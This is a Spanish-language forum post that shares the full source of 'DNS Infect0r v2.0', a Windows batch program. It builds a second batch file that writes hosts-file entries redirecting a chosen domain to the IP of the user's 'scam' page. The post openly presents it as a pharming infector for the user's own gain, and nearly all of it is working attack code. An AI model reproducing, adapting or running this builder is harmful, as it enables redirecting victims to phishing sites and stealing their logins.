Comentario: Este código lo podrán ver por muchas partes, hace años cuando me esforze por sacar la primera versión (En mis inicios) tuve un error en postearlo y despúes me lo robarón, cabe mencionar que obviamente ahí muchísima mas gente con conocimientos avanzados que pueden mejorar el código en todos los aspectos y diseño, pero este código lo hice hace muchísimo tiempo, cerca de 2 o 3 años y pues simplemente quería mostrarselos.
########################################################
Creador: Xt3mP
Utilidad: Infección de DNS mediante el archivo Host.
Lenguaje: Batch
Para: Comunidad de Mechanixer.
Instrucciones: Simplemente seguir las que te dice ahí.
Mejoras:
·Nuevo diseño: Ahora presenta un diseño un poco más agradable para el usuario.
·Bugs: Se corrijierón unos bugs al momento de crear el infector.
·Contácto: Links y páginas de Contacto fueron actualizadas.
Link de descarga:
DNS Infect0r v2.0 BETA by Xt3mP.Introducción: Programa en batch que te generá otro batch con la IP de un Scam y la IP de la página que quieres redirigir, esto se le puede denominar pharming ó infección de DNS por el archivo Hosts.
@echo off
color 0A
title DNS 1nf3ct0r by Xt3MP v2.0 Beta.
echo Informacion del Programa.
echo Compañia: Mechanixer Proyect 666
echo Nombre del producto: DNS Infect0r v2.0 Beta.
echo Descripcion: Infector de DNS para beneficio propio.
echo Copyrights: DNS Infector by Xt3mP 2008-2009©
echo Trademarks: DNS Infector by Xt3mP 2008-2009©
echo Nombre Original: DNS Infect0r v2.0 Beta.
echo Comentarios: Me la pelan att/ Xt3mP#
echo Version: 2. 0. 0. 0
echo Version: 2. 0. 0. 0
echo Nombre interno: DNS 1nf3ct0r b3t4.
echo dnsinfector.ico
echo Presiona cualquier tecla para continuar.
pause>nul
cls
goto inicio
:inicio
echo __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+] MMMMMMMM MMMMMMMMPPPPPPPPPPPPPPPPP [+]
echo [+] M:::::::M M:::::::MP::::::::::::::::P [+]
echo [+] M::::::::M M::::::::MP::::::PPPPPP:::::P [+]
echo [+] M:::::::::M M:::::::::MPP:::::P P:::::P [+]
echo [+] M::::::::::M M::::::::::M P::::P P:::::P [+]
echo [+] M:::::::::::M M:::::::::::M P::::P P:::::P [+]
echo [+] M:::::::M::::M M::::M:::::::M P::::PPPPPP:::::P [+]
echo [+] M::::::M M::::M M::::M M::::::M P:::::::::::::PP [+]
echo [+] M::::::M M::::M::::M M::::::M P::::PPPPPPPPP [+]
echo [+] M::::::M M:::::::M M::::::M P::::P [+]
echo [+] M::::::M M:::::M M::::::M P::::P [+]
echo [+] M::::::M MMMMM M::::::M P::::P [+]
echo [+] M::::::M M::::::MPP::::::PP [+]
echo [+] M::::::M M::::::MP::::::::P [+]
echo [+] M::::::M M::::::MP::::::::P [+]
echo [+] MMMMMMMM MMMMMMMMPPPPPPPPPP [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+] Paginas: [+]
echo [+] [+]
echo [+] *### [url=http://WWW.MECHANIXER.ORG]WWW.MECHANIXER.ORG[/url] [+]
echo [+] *### [url=http://WWW.MECHANXIERPROJECTS.COM]WWW.MECHANXIERPROJECTS.COM[/url] [+]
echo [+] *### [url=http://WWW.BLACFIRE.COM]WWW.BLACFIRE.COM[/url] [+]
echo [+] *### [url=http://WWW.MAFIANIXER.COM]WWW.MAFIANIXER.COM[/url] [+]
echo [+] *### [url=http://WWW.HABBOIN.NET]WWW.HABBOIN.NET[/url] [+]
echo [+] [+]
echo [+] Contacto: [+]
echo [+] *### X.LOVESUXS.X:-com [+]
echo [+] *### XT3MP@H4X0RZ.US [+]
echo [+] [+]
echo [+] [+]
echo [+] *### Testeado en Windows XP SP2 y Vista [+]
echo [+] *### Programa en Batch para MXR Proy. 666 [+]
echo [+] *### Bugs corregidos asi como el codigo [+]
echo [+] [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo ________________________________________________________________
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
echo [+] [ Instrucciones: ] [+]
echo [+] [+]
echo [+] *Escribir nombre del infect0r [+]
echo [+] *Escribir IP del scam [+]
echo [+] *Escribir Host de la pagina a redireccionar [+]
echo [+] *WWW y http:// Integrado [+]
echo [+] *este programa se encargara de eso. [+]
echo [+] *Dudas: mechanixer.org [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause >nul
cls
goto nombre
:nombre
echo ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+] *Escribe el nombre que le quieres dar al DNS Infect0r sin [+]
echo [+] *Caracteres especiales ni acentos [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P nombre=
cls
echo ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+] *Comprueba que el nombre del DNS Infect0r es el correcto [+]
echo *Estas seguro que le quieres poner %nombre%?
echo [+] 1.Si 2.No [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P r=
cls
if %r%==1 (goto ip) else goto nombre
echo.
echo.
echo.
pause >nul
echo.
echo.
echo.
:ip
echo ________________________________________________________________
echo [+]_________________________IP del SCAM__________________________[+]
echo [+] *Escoje 1 si te sabes la direccion IP de tu SCAM. [+]
echo [+] *Escoje 2 si no te sabes la direccion IP de tu SCAM. [+]
echo [+]______________________________________________________________[+]
echo [+] 1.Si 2.No [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P primerpregunta=
cls
if %primerpregunta%==1 (goto lineahost) else goto sacarip
pause >nul
echo.
echo.
echo.
:sacarip
echo ________________________________________________________________
echo [+]______________________Sacar IP del SCAM_______________________[+]
echo [+] *Escribe la pagina de tu SCAM sin WWW ni http:// [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P pagina=
if not defined pagina (cls&&msg * Escribe la pagina correctamente&&goto sacarip)
cls
pause >nul
goto ppagina
echo.
echo.
echo.
:ppagina
ping %pagina%
pause >nul
echo.
echo.
cls
goto lineahost
:lineahost
echo ________________________________________________________________
echo [+]_____________________Escribir IP del SCAM_____________________[+]
echo [+] *Escribe la IP de tu SCAM sin WWW ni http:// [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P ip1=
if not defined ip1 (cls&&msg * Escribe la pagina correctamente&&goto lineahost)
cls
goto 2
:2
echo ________________________________________________________________
echo [+]_____________________Escribir el Dominio______________________[+]
echo [+] *Escribe el Dominio de la pagina a redireccionar [+]
echo [+] *Ejemplo: mechanixer.org [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P host1=
if not defined host1 (cls&&msg * Escribe la pagina correctamente&&goto 2)
cls
9)
cls
goto etze
:etze
echo ________________________________________________________________
echo [+]_________________________Comprobacion_________________________[+]
echo [+] *La IP y el Dominio son las siguientes: [+]
echo [+] [+]
echo [+] *IP del Scam:#########%ip1%
echo [+] *Nombre del Dominio:##%host1%
echo [+]______________________________________________________________[+]
echo [+] 1.Si 2.No [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P etz=
if %etz%==1 (goto crear) else goto lineahost
cls
pause >nul
:crear
echo ^@echo off>>%nombre%.bat
echo cd C:\WINDOWS\system32\drivers\etc>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts>>%nombre%.bat
cls
goto adios
:adios
echo __________________________________________________________________
echo [+]__________________________Finalizacion________________________[+]
echo [+] *Archivo Creado Satisfactoriamente [+]
echo [+] *No ejecutes el programa o te infectaras [+]
echo [+] *El programa se creara en donde tengas este DNS Infect0r [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause>nul
cls
goto subfinal
:subfinal
echo __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+] _ _ ______ ______ [+]
echo [+] (_) (_)_ (_____ \ (_____ \ [+]
echo [+] ___ _l l_ _____) )____ _____) ) [+]
echo [+] l (_ _l_____ (l \l ____/ [+]
echo [+] / / \ \l l_ _____) ) l l l l [+]
echo [+] l_l l_l\__l______/l_l_l_l_l [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause>nul
cls
goto final
:final
echo __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [*] *Creado por xT3mP para Mechanixer Proyect [*]
echo [*] *Para mayor informacion visitar [url=http://WWW.MECHANXIER.ORG]WWW.MECHANXIER.ORG[/url] [*]
echo [*] [*]
echo [*] [*]
echo [*] 1-Ir a la pagina del proyecto [*]
echo [*] 2-Crear otro infector [*]
echo [*] 3-Salir [*]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
set /P f=
cls
if %f%==1 (start http://www.foro.mechanixer.org)
if %f%==2 (goto inicio)
if %f%==3 (echo exit&&msg * Xt3mP: Gracias por utilizar el programa, no se te olvide visitar #WWW.MECHANXIER.ORG#)
cls
pause >nulSaludos.
